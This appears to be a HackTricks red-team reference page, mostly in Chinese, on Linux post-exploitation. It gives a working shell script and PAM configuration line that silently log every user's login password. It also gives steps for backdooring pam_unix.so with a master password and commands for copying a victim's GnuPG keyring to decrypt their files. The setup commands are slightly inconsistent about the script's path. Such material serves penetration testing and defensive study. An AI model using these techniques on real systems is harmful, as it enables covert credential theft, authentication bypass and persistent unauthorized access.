Linux Post-Exploitation

Reading time: 6 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Sniffing Logon Passwords with PAM

让我们配置一个 PAM 模块以记录每个用户登录时使用的密码。如果你不知道 PAM 是什么,请查看:

PAM - Pluggable Authentication Modules

For further details check the original post。这只是个摘要:

Technique Overview: Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。通过自定义登录流程可以增强安全性,但如果被滥用也会带来风险。本文概要说明了如何利用 PAM 捕获登录凭据,并列出相应的缓解策略。

Capturing Credentials:

  • 编写了一个名为 toomanysecrets.sh 的 bash 脚本来记录登录尝试,记录内容包括日期、用户名($PAM_USER)、密码(通过 stdin)以及远程主机 IP($PAM_RHOST),并写入到 /var/log/toomanysecrets.log
  • 将脚本设为可执行,并通过 pam_exec.so 模块将其集成到 PAM 配置(common-auth)中,使用的选项使其静默运行并将认证令牌暴露给脚本。
  • 该方法演示了如何利用被攻陷的 Linux 主机悄然记录凭据。
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

更多细节请查看 original post。 这里只是摘要:

The Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念:username, password, 和 service。每个 service 的配置文件位于 /etc/pam.d/ 目录,共享库负责处理认证。

目标:修改 PAM,使其允许使用特定密码进行认证,绕过实际用户密码。重点是 pam_unix.so 这个由 common-auth 文件使用的共享库,几乎所有用于密码验证的 services 都会包含它。

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • 负责检查用户密码的那一行会调用 pam_unix.so
  1. Modify Source Code:
  • pam_unix_auth.c 源文件中添加一个条件判断:如果使用预定义密码则授予访问,否则继续正常的认证流程。
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • 使用预定义密码可以在多个 services(login, ssh, sudo, su, screensaver)中获得访问,而正常的认证流程不受影响。

tip

你可以使用 https://github.com/zephrax/linux-pam-backdoor 来自动化该过程

Decrypting GPG loot via homedir relocation

如果你发现一个加密的 .gpg 文件和用户的 ~/.gnupg 文件夹(pubring, private-keys, trustdb),但由于 GnuPG homedir 的权限或锁导致无法解密,可以将 keyring 复制到一个可写的位置并将其用作你的 GPG home。

如果不这样,通常会看到错误:"unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"(因为 GPG 无法读/写原始 homedir)。

工作流程:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

如果私钥材料存在于 private-keys-v1.d 中,GPG 会在不提示 passphrase 的情况下解锁并解密(如果该密钥受保护则会提示)。

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks